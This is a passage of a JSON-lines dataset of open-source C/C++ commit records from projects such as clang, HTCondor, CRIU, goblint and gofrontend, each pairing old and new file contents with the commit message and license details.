BUG_ON(a) ASSERT(!(a))\n#define WARN_ON(a)\n#define BUG() ASSERT(0)\n\n#if !defined(__cplusplus) && !defined(bool)\n\/\/ Important note: in MSFT C++ bool length is 1 bytes\n\/\/ C++ does not define length of bool\n\/\/ inconsistent definition of 'bool' may create compatibility problems\n#define bool u8\n#define false FALSE\n#define true TRUE\n#endif\n\n#define inline __forceinline\n\n#ifdef DBG\n#define DEBUG\n#endif\n\n#define mb()   KeMemoryBarrier()\n#define rmb()  KeMemoryBarrier()\n#define wmb()  KeMemoryBarrier()\n\n#define SMP_CACHE_BYTES 64\n\n#endif\n#endif\n","subject":"Fix wrong bool definition in VirtIO library interface","message":"Fix wrong bool definition in VirtIO library interface\n\nBZ#1389445: VirtIO definition of bool as int used by all drivers\nthat use VirtIO library, except (currently) netkvm which is C++\nand uses bool as fundamental C++ type.\nMicrosoft-specific implementationdefines bool size as 1 byte.\nDifferent definition of bool in library interface creates\ncompatibility problem.\nExample: when calling virtio_device_initialize(...)\nbool parameter msix_used passed incorrectly.\n\nSigned-off-by: Yuri Benditovich <88b9db763c3045958dd7f2a08b57403c2e6ebe14@redhat.com>\n","lang":"C","license":"bsd-3-clause","repos":"YanVugenfirer\/kvm-guest-drivers-windows,daynix\/kvm-guest-drivers-windows,vrozenfe\/kvm-guest-drivers-windows,gnif\/kvm-guest-drivers-windows,vrozenfe\/kvm-guest-drivers-windows,YanVugenfirer\/kvm-guest-drivers-windows,virtio-win\/kvm-guest-drivers-windows,virtio-win\/kvm-guest-drivers-windows,daynix\/kvm-guest-drivers-windows,YanVugenfirer\/virtio-win-arm,ladipro\/kvm-guest-drivers-windows,virtio-win\/kvm-guest-drivers-windows,daynix\/kvm-guest-drivers-windows,virtio-win\/kvm-guest-drivers-windows,virtio-win\/kvm-guest-drivers-windows,gnif\/kvm-guest-drivers-windows,gnif\/kvm-guest-drivers-windows,ladipro\/kvm-guest-drivers-windows,vrozenfe\/kvm-guest-drivers-windows,vrozenfe\/kvm-guest-drivers-windows,daynix\/kvm-guest-drivers-windows,YanVugenfirer\/kvm-guest-drivers-windows,YanVugenfirer\/virtio-win-arm,ladipro\/kvm-guest-drivers-windows,gnif\/kvm-guest-drivers-windows,ladipro\/kvm-guest-drivers-windows,daynix\/kvm-guest-drivers-windows,YanVugenfirer\/virtio-win-arm,YanVugenfirer\/kvm-guest-drivers-windows,YanVugenfirer\/virtio-win-arm,vrozenfe\/kvm-guest-drivers-windows,YanVugenfirer\/kvm-guest-drivers-windows"}
{"commit":"f84df9f076038ad16e1ee412162c328cd091bc59","old_file":"include\/clang\/Frontend\/CodeGenAction.h","new_file":"include\/clang\/Frontend\/CodeGenAction.h","old_contents":"\/\/===--- CodeGenAction.h - LLVM Code Generation Frontend Action -*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Frontend\/FrontendAction.h\"\n#include \"llvm\/ADT\/OwningPtr.h\"\n\nnamespace llvm {\n  class Module;\n}\n\nnamespace clang {\n\nclass CodeGenAction : public ASTFrontendAction {\nprivate:\n  unsigned Act;\n  llvm::OwningPtr<llvm::Module> TheModule;\n\nprotected:\n  CodeGenAction(unsigned _Act);\n  ~CodeGenAction();\n\n  virtual ASTConsumer *CreateASTConsumer(CompilerInstance &CI,\n                                         llvm::StringRef InFile);\n\n  virtual void EndSourceFileAction();\n\npublic:\n  \/\/\/ takeModule - Take the generated LLVM module, for use after the action has\n  \/\/\/ been run. The result may be null on failure.\n  llvm::Module *takeModule();\n};\n\nclass EmitAssemblyAction : public CodeGenAction {\npublic:\n  EmitAssemblyAction();\n};\n\nclass EmitBCAction : public CodeGenAction {\npublic:\n  EmitBCAction();\n};\n\nclass EmitLLVMAction : public CodeGenAction {\npublic:\n  EmitLLVMAction();\n};\n\nclass EmitLLVMOnlyAction : public CodeGenAction {\npublic:\n  EmitLLVMOnlyAction();\n};\n\nclass EmitObjAction : public CodeGenAction {\npublic:\n  EmitObjAction();\n};\n\n}\n","new_contents":"\/\/===--- CodeGenAction.h - LLVM Code Generation Frontend Action -*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Frontend\/FrontendAction.h\"\n#include \"llvm\/ADT\/OwningPtr.h\"\n\nnamespace llvm {\n  class Module;\n}\n\nnamespace clang {\n\nclass CodeGenAction : public ASTFrontendAction {\nprivate:\n  unsigned Act;\n  llvm::OwningPtr<llvm::Module> TheModule;\n\nprotected:\n  CodeGenAction(unsigned _Act);\n\n  virtual ASTConsumer *CreateASTConsumer(CompilerInstance &CI,\n                                         llvm::StringRef InFile);\n\n  virtual void EndSourceFileAction();\n\npublic:\n  ~CodeGenAction();\n\n  \/\/\/ takeModule - Take the generated LLVM module, for use after the action has\n  \/\/\/ been run. The result may be null on failure.\n  llvm::Module *takeModule();\n};\n\nclass EmitAssemblyAction : public CodeGenAction {\npublic:\n  EmitAssemblyAction();\n};\n\nclass EmitBCAction : public CodeGenAction {\npublic:\n  EmitBCAction();\n};\n\nclass EmitLLVMAction : public CodeGenAction {\npublic:\n  EmitLLVMAction();\n};\n\nclass EmitLLVMOnlyAction : public CodeGenAction {\npublic:\n  EmitLLVMOnlyAction();\n};\n\nclass EmitObjAction : public CodeGenAction {\npublic:\n  EmitObjAction();\n};\n\n}\n","subject":"Make the destructor public. ddunbar, lemme know if you'd prefer a different fix, just trying to get the build bots happy again.","message":"Make the destructor public. ddunbar, lemme know if you'd prefer a different\nfix, just trying to get the build bots happy again.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@97223 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"bb3bd956e8c53ccaba3a95940987a1e0133daf00","old_file":"libgo\/runtime\/go-traceback.c","new_file":"libgo\/runtime\/go-traceback.c","old_contents":"\/* go-traceback.c -- stack backtrace for Go.\n\n   Copyright 2012 The Go Authors. All rights reserved.\n   Use of this source code is governed by a BSD-style\n   license that can be found in the LICENSE file.  *\/\n\n#include \"config.h\"\n\n#include \"runtime.h\"\n#include \"go-string.h\"\n\n\/* Print a stack trace for the current goroutine.  *\/\n\nvoid\nruntime_traceback ()\n{\n  uintptr pcbuf[100];\n  int32 c;\n\n  c = runtime_callers (1, pcbuf, sizeof pcbuf \/ sizeof pcbuf[0]);\n  runtime_printtrace (pcbuf, c);\n}\n\nvoid\nruntime_printtrace (uintptr *pcbuf, int32 c)\n{\n  int32 i;\n\n  for (i = 0; i < c; ++i)\n    {\n      struct __go_string fn;\n      struct __go_string file;\n      int line;\n\n      if (__go_file_line (pcbuf[i], &fn, &file, &line)\n\t  && runtime_showframe (fn.__data))\n\t{\n\t  runtime_printf (\"%s\\n\", fn.__data);\n\t  runtime_printf (\"\\t%s:%d\\n\", file.__data, line);\n\t}\n    }\n}\n","new_contents":"\/* go-traceback.c -- stack backtrace for Go.\n\n   Copyright 2012 The Go Authors. All rights reserved.\n   Use of this source code is governed by a BSD-style\n   license that can be found in the LICENSE file.  *\/\n\n#include \"config.h\"\n\n#include \"runtime.h\"\n#include \"go-string.h\"\n\n\/* Print a stack trace for the current goroutine.  *\/\n\nvoid\nruntime_traceback ()\n{\n  uintptr pcbuf[100];\n  int32 c;\n\n  c = runtime_callers (1, pcbuf, sizeof pcbuf \/ sizeof pcbuf[0]);\n  runtime_printtrace (pcbuf, c);\n}\n\nvoid\nruntime_printtrace (uintptr *pcbuf, int32 c)\n{\n  int32 i;\n\n  for (i = 0; i < c; ++i)\n    {\n      struct __go_string fn;\n      struct __go_string file;\n      int line;\n\n      if (__go_file_line (pcbuf[i], &fn, &file, &line)\n\t  && runtime_showframe (fn.__data))\n\t{\n\t  runtime_printf (\"%S\\n\", fn);\n\t  runtime_printf (\"\\t%S:%d\\n\", file, line);\n\t}\n    }\n}\n","subject":"Fix printing of names in stack dumps.","message":"runtime: Fix printing of names in stack dumps.\n\nR=iant\nCC=gofrontend-dev\nhttps:\/\/golang.org\/cl\/6305062\n","lang":"C","license":"bsd-3-clause","repos":"golang\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend,anlhord\/gofrontend,qskycolor\/gofrontend,qskycolor\/gofrontend,golang\/gofrontend,qskycolor\/gofrontend,anlhord\/gofrontend"}
{"commit":"fe8b37bf3b859434de2bead4cd4fb00bda48f5c9","old_file":"src\/condor_includes\/condor_common.h","new_file":"src\/condor_includes\/condor_common.h","old_contents":"#include \"_condor_fix_types.h\"\n#include \"condor_fix_stdio.h\"\n#include <stdlib.h>\n#include \"condor_fix_unistd.h\"\n#include \"condor_fix_limits.h\"\n#include \"condor_fix_string.h\"\n#include <ctype.h>\n#include <fcntl.h>\n#include <errno.h>\n#if !defined(SUNOS41)\n#include <signal.h>\n#endif\n","new_contents":"#if defined(WIN32)\n\n#define NOGDI\n#define NOUSER\n#define NOSOUND\n#include <winsock2.h>\n#include <windows.h>\n#include \"_condor_fix_nt.h\"\n#include <stdlib.h>\n\n#else\n\n#include \"_condor_fix_types.h\"\n#include \"condor_fix_stdio.h\"\n#include <stdlib.h>\n#include \"condor_fix_unistd.h\"\n#include \"condor_fix_limits.h\"\n#include \"condor_fix_string.h\"\n#include <ctype.h>\n#include <fcntl.h>\n#include <errno.h>\n#include \"condor_fix_signal.h\"\n\n#if defined(Solaris)\n#\tdefine BSD_COMP\n#endif\n#include <sys\/ioctl.h>\n#if defined(Solaris)\n#\tundef BSD_COMP\n#endif\n\n#endif \/\/ defined(WIN32)\n","subject":"Use condor_fix_signal.h, not <signal.h>, and include <sys\/ioctl.h> properly. Also, NT specific changes committed to main trunk.","message":"Use condor_fix_signal.h, not <signal.h>, and include <sys\/ioctl.h>\nproperly.  Also, NT specific changes committed to main trunk.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/condor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,neurodebian\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/condor,htcondor\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,htcondor\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,htcondor\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,zhangzhehust\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/htcondor,djw8605\/condor,neurodebian\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,djw8605\/condor,djw8605\/htcondor,djw8605\/htcondor"}
{"commit":"74feaa2154590685a8702b9bab6aa2a4c2e58382","old_file":"src\/condor_includes\/condor_common.h","new_file":"src\/condor_includes\/condor_common.h","old_contents":"#include \"condor_fix_stdio.h\"\n#include <stdlib.h>\n#include \"condor_fix_unistd.h\"\n#include <limits.h>\n#include <string.h>\n#include <ctype.h>\n#include <fcntl.h>\n#include \"_condor_fix_types.h\"\n#include <errno.h>\n\n","new_contents":"#include \"condor_fix_stdio.h\"\n#include <stdlib.h>\n#include \"condor_fix_unistd.h\"\n#include <limits.h>\n#include <string.h>\n#include <ctype.h>\n#include \"_condor_fix_types.h\"\n#include <fcntl.h>\n#include <errno.h>\n\n","subject":"Add <fcntl.h> to list of commonly included files.","message":"Add <fcntl.h> to list of commonly included files.\n","lang":"C","license":"apache-2.0","repos":"htcondor\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/condor,neurodebian\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,htcondor\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/condor,htcondor\/htcondor,djw8605\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,djw8605\/condor,neurodebian\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/htcondor,neurodebian\/htcondor"}
{"commit":"e259496d6faec673557dc4b9b5bc2e86487e27a4","old_file":"tests\/regression\/31-ikind-aware-ints\/04-ptrdiff.c","new_file":"tests\/regression\/31-ikind-aware-ints\/04-ptrdiff.c","old_contents":"\/\/ PARAM: --enable ana.int.interval --enable exp.partition-arrays.enabled --set ana.activated \"['base', 'mallocWrapper', 'expRelation', 'var_eq']\"\nint *tmp;\n\nint main ()\n{\n  int pathbuf[2];\n\n  int *bound = pathbuf + sizeof(pathbuf)\/sizeof(*pathbuf) - 1;\n\n  int *p = pathbuf;\n\n  while (p <= bound) {\n\n    *p = 1;\n\n    p++;\n  }\n\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --enable ana.int.interval --enable exp.partition-arrays.enabled --set ana.activated \"['base', 'mallocWrapper', 'escape', 'expRelation', 'var_eq']\"\nint *tmp;\n\nint main ()\n{\n  int pathbuf[2];\n\n  int *bound = pathbuf + sizeof(pathbuf)\/sizeof(*pathbuf) - 1;\n\n  int *p = pathbuf;\n\n  while (p <= bound) {\n\n    *p = 1;\n\n    p++;\n  }\n\n  return 0;\n}\n","subject":"Enable escape in 31\/04 for global-history to pass","message":"Enable escape in 31\/04 for global-history to pass\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"94ed26dc4ff9046f31edcf99d428a95c5df28b05","old_file":"tests\/regression\/53-races-mhp\/03-not-created_rc.c","new_file":"tests\/regression\/53-races-mhp\/03-not-created_rc.c","old_contents":"","new_contents":"#include <pthread.h>\n#include <stdio.h>\n\nint myglobal;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  return NULL;\n}\n\nvoid *t_fun2(void *arg) {\n  pthread_mutex_lock(&mutex1);\n  myglobal=myglobal+1; \/\/ RACE!\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id, id2;\n  pthread_create(&id, NULL, t_fun, NULL); \/\/ enter multithreaded\n  myglobal = 5; \/\/ NORACE\n\n  pthread_create(&id2, NULL, t_fun2, NULL);\n  pthread_mutex_lock(&mutex2);\n  myglobal=myglobal+1; \/\/ RACE!\n  pthread_mutex_unlock(&mutex2);\n  return 0;\n}\n","subject":"Add race test where all accesses don't race","message":"Add race test where all accesses don't race\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c4dc456cdfc6fe4a67f41d2aa02f30bde9968d4c","old_file":"set\/test.c","new_file":"set\/test.c","old_contents":"\nint asserter_is_false(int);\nint set_empty(void);\nint set_size(int);\nint set_add(int, int);\n\nint main(void)\n{\n\t\/\/ set_empty tests\n\tif (asserter_is_false(set_empty() == 0)) return __LINE__;\n\n\t\/\/ set_add tests\n\tif (asserter_is_false(set_add(set_empty(), 0) != set_empty())) return __LINE__;\n\tif (asserter_is_false(set_add(set_empty(), 1) != set_add(set_empty(), 2))) return __LINE__;\n\tif (asserter_is_false(set_add(set_add(set_empty(), 1), 2) != set_add(set_empty(), 2))) return __LINE__;\n\tif (asserter_is_false(set_add(set_add(set_empty(), 1), 1) == set_add(set_empty(), 1))) return __LINE__;\n\n\t\/\/ set_size tests\n\tif (asserter_is_false(set_size(set_empty()) == 0)) return __LINE__;\n\tif (asserter_is_false(set_size(set_add(set_empty(), 1)) == 1)) return __LINE__;\n\tif (asserter_is_false(set_size(set_add(set_add(set_empty(), 1), 2)) == 2)) return __LINE__;\n\treturn 0;\n}\n\n","new_contents":"\nint asserter_is_false(int);\nint set_empty(void);\nint set_size(int);\nint set_add(int, int);\n\nint main(void)\n{\n\t\/\/ set_empty tests\n\tif (asserter_is_false(set_empty() == 0)) return __LINE__;\n\n\t\/\/ set_add tests\n\tif (asserter_is_false(set_add(set_empty(), 0) != set_empty())) return __LINE__;\n\tif (asserter_is_false(set_add(set_empty(), 1) != set_add(set_empty(), 2))) return __LINE__;\n\tif (asserter_is_false(set_add(set_add(set_empty(), 1), 2) != set_add(set_empty(), 2))) return __LINE__;\n\tif (asserter_is_false(set_add(set_add(set_empty(), 1), 1) == set_add(set_empty(), 1))) return __LINE__;\n\t\/\/ TODO: add bigger than sizeof(int) * 8 elements\n\n\t\/\/ set_size tests\n\tif (asserter_is_false(set_size(set_empty()) == 0)) return __LINE__;\n\tif (asserter_is_false(set_size(set_add(set_empty(), 1)) == 1)) return __LINE__;\n\tif (asserter_is_false(set_size(set_add(set_add(set_empty(), 1), 2)) == 2)) return __LINE__;\n\t\/\/ TODO: add more than sizeof(int) * 8 elements\n\treturn 0;\n}\n\n","subject":"Add TODOs for future work","message":"[SET] REFACTOR: Add TODOs for future work\n","lang":"C","license":"mit","repos":"w3ln4\/open"}
{"commit":"c9d3145843ebb8a4fbd78484771dc0aa7fee4caf","old_file":"include\/cr-service.h","new_file":"include\/cr-service.h","old_contents":"#ifndef __CR_SERVICE_H__\n#define __CR_SERVICE_H__\n\n#include \"protobuf\/rpc.pb-c.h\"\n\n#define CR_DEFAULT_SERVICE_ADDRESS \"\/tmp\/criu_service.socket\"\n#define MAX_MSG_SIZE 1024\n\nint cr_service(bool deamon_mode);\n\nint send_criu_dump_resp(int socket_fd, bool success, bool restored);\n\nextern struct _cr_service_client *cr_service_client;\nextern unsigned int service_sk_ino;\n\n#endif\n","new_contents":"#ifndef __CR_SERVICE_H__\n#define __CR_SERVICE_H__\n\n#include \"protobuf\/rpc.pb-c.h\"\n\n#define CR_DEFAULT_SERVICE_ADDRESS \"\/var\/run\/criu_service.socket\"\n#define MAX_MSG_SIZE 1024\n\nint cr_service(bool deamon_mode);\n\nint send_criu_dump_resp(int socket_fd, bool success, bool restored);\n\nextern struct _cr_service_client *cr_service_client;\nextern unsigned int service_sk_ino;\n\n#endif\n","subject":"Change default socket path to \/var\/run\/","message":"service: Change default socket path to \/var\/run\/\n\nThis is where such stuff is typically placed.\n\nSigned-off-by: Pavel Emelyanov <c9a32589e048e044184536f7ac71ef92fe82df3e@parallels.com>\n","lang":"C","license":"lgpl-2.1","repos":"fbocharov\/criu,gonkulator\/criu,ldu4\/criu,KKoukiou\/criu-remote,biddyweb\/criu,efiop\/criu,eabatalov\/criu,efiop\/criu,AuthenticEshkinKot\/criu,KKoukiou\/criu-remote,tych0\/criu,gonkulator\/criu,ldu4\/criu,AuthenticEshkinKot\/criu,LK4D4\/criu,eabatalov\/criu,gonkulator\/criu,kawamuray\/criu,sdgdsffdsfff\/criu,svloyso\/criu,LK4D4\/criu,wtf42\/criu,sdgdsffdsfff\/criu,ldu4\/criu,tych0\/criu,LK4D4\/criu,gablg1\/criu,gonkulator\/criu,kawamuray\/criu,rentzsch\/criu,eabatalov\/criu,marcosnils\/criu,svloyso\/criu,KKoukiou\/criu-remote,KKoukiou\/criu-remote,marcosnils\/criu,kawamuray\/criu,efiop\/criu,marcosnils\/criu,gablg1\/criu,AuthenticEshkinKot\/criu,tych0\/criu,svloyso\/criu,kawamuray\/criu,wtf42\/criu,LK4D4\/criu,sdgdsffdsfff\/criu,gablg1\/criu,wtf42\/criu,wtf42\/criu,svloyso\/criu,rentzsch\/criu,efiop\/criu,ldu4\/criu,fbocharov\/criu,rentzsch\/criu,sdgdsffdsfff\/criu,kawamuray\/criu,ldu4\/criu,gonkulator\/criu,rentzsch\/criu,marcosnils\/criu,rentzsch\/criu,AuthenticEshkinKot\/criu,KKoukiou\/criu-remote,wtf42\/criu,fbocharov\/criu,gonkulator\/criu,AuthenticEshkinKot\/criu,biddyweb\/criu,svloyso\/criu,tych0\/criu,tych0\/criu,sdgdsffdsfff\/criu,fbocharov\/criu,KKoukiou\/criu-remote,rentzsch\/criu,LK4D4\/criu,svloyso\/criu,sdgdsffdsfff\/criu,fbocharov\/criu,ldu4\/criu,efiop\/criu,efiop\/criu,biddyweb\/criu,LK4D4\/criu,eabatalov\/criu,wtf42\/criu,tych0\/criu,kawamuray\/criu,biddyweb\/criu,biddyweb\/criu,AuthenticEshkinKot\/criu,eabatalov\/criu,gablg1\/criu,marcosnils\/criu,fbocharov\/criu,eabatalov\/criu,marcosnils\/criu,biddyweb\/criu,gablg1\/criu,gablg1\/criu"}
{"commit":"ee6d21258db24ac2640a410bc27ea1b552b36ca1","old_file":"stmt.c","new_file":"stmt.c","old_contents":"\n#include <stddef.h>\n#include <stdint.h>\n\n#include \"cc1.h\"\n\nSymbol *curfun;\n\nextern Node *convert(Node *np, Type *tp1, char iscast);\n\nstatic void\nReturn(void)\n{\n\tNode *np;\n\tType *tp = curfun->type->type;\n\n\texpect(RETURN);\n\tnp = expr();\n\tif (np->type != tp) {\n\t\tif ((np = convert(np, tp, 0)) == NULL)\n\t\t\terror(\"incorrect type in return\");\n\t}\n\temitret(tp);\n\temitexp(np);\n}\n\nvoid\ncompound(void)\n{\n\texpect('{');\n\twhile (!accept('}')) {\n\t\tswitch (yytoken) {\n\t\tcase TYPE: case SCLASS: case TQUALIFIER:\n\t\t\tdecl();\n\t\t\tbreak;\n\t\tcase RETURN:\n\t\t\tReturn();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\temitexp(expr());\n\t\t}\n\t\texpect(';');\n\t}\n}\n","new_contents":"\n#include <stddef.h>\n#include <stdint.h>\n\n#include \"cc1.h\"\n\nSymbol *curfun;\n\nextern Node *convert(Node *np, Type *tp1, char iscast);\n\nstatic void\nReturn(void)\n{\n\tNode *np;\n\tType *tp = curfun->type->type;\n\n\texpect(RETURN);\n\tnp = expr();\n\tif (np->type != tp) {\n\t\tif (tp == voidtype)\n\t\t\twarn(1, \"function returning void returns a value\");\n\t\telse if ((np = convert(np, tp, 0)) == NULL)\n\t\t\terror(\"incorrect type in return\");\n\t}\n\temitret(tp);\n\temitexp(np);\n}\n\nvoid\ncompound(void)\n{\n\texpect('{');\n\twhile (!accept('}')) {\n\t\tswitch (yytoken) {\n\t\tcase TYPE: case SCLASS: case TQUALIFIER:\n\t\t\tdecl();\n\t\t\tbreak;\n\t\tcase RETURN:\n\t\t\tReturn();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\temitexp(expr());\n\t\t}\n\t\texpect(';');\n\t}\n}\n","subject":"Check that void function can return a value","message":"Check that void function can return a value\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/kcc,8l\/scc,8l\/scc,8l\/scc"}
{"commit":"54925adacd0d75de68b955d6197b0b02da97f161","old_file":"test\/CodeGen\/c-unicode.c","new_file":"test\/CodeGen\/c-unicode.c","old_contents":"\/\/ RUN: %clang -S %s -o - | FileCheck %s -check-prefix=ALLOWED\n\/\/ RUN: not %clang -std=c89 -S %s -o - 2>&1 | FileCheck %s -check-prefix=DENIED\nint \\uaccess = 0;\n\/\/ ALLOWED: \"곎ss\":\n\/\/ ALLOWED-NOT: \"\\uaccess\":\n\/\/ DENIED: warning: universal character names are only valid in C99 or C++; treating as '\\' followed by identifier [-Wunicode]\n\/\/ DENIED: error: expected identifier or '('\n","new_contents":"\/\/ RUN: %clang --target=x86_64--linux-gnu -S %s -o - | FileCheck %s -check-prefix=ALLOWED\n\/\/ RUN: not %clang --target=x86_64--linux-gnu -std=c89 -S %s -o - 2>&1 | FileCheck %s -check-prefix=DENIED\nint \\uaccess = 0;\n\/\/ ALLOWED: \"곎ss\":\n\/\/ ALLOWED-NOT: \"\\uaccess\":\n\/\/ DENIED: warning: universal character names are only valid in C99 or C++; treating as '\\' followed by identifier [-Wunicode]\n\/\/ DENIED: error: expected identifier or '('\n","subject":"Fix testcase when building on darwin","message":"Fix testcase when building on darwin\n\nExplicitely specify a target to avoid \"_\" prefixes on the names.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@253741 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"4f97e019ba54c2258f171a81da6fb587641ed415","old_file":"test\/Lexer\/rdr-6096838.c","new_file":"test\/Lexer\/rdr-6096838.c","old_contents":"","new_contents":"\/* RUN: clang -fsyntax-only -verify %s &&\n * RUN: clang -std=gnu89 -fsyntax-only -verify %s &&\n * RUN: clang -DPEDANTIC -pedantic -std=gnu89 -fsyntax-only -verify %s\n *\/\n\n#ifdef PEDANTIC\n\nlong double d = 0x0.0000003ffffffff00000p-16357L; \/* expected-warning {{ hexadecimal floating constants are a C99 feature }} *\/\n\n#else\n\nlong double d = 0x0.0000003ffffffff00000p-16357L;\n\n#endif\n","subject":"Add test case for hex floating point constants in < C99 mode - For: rdar:\/\/6096838","message":"Add test case for hex floating point constants in < C99 mode\n - For: rdar:\/\/6096838\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@54036 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
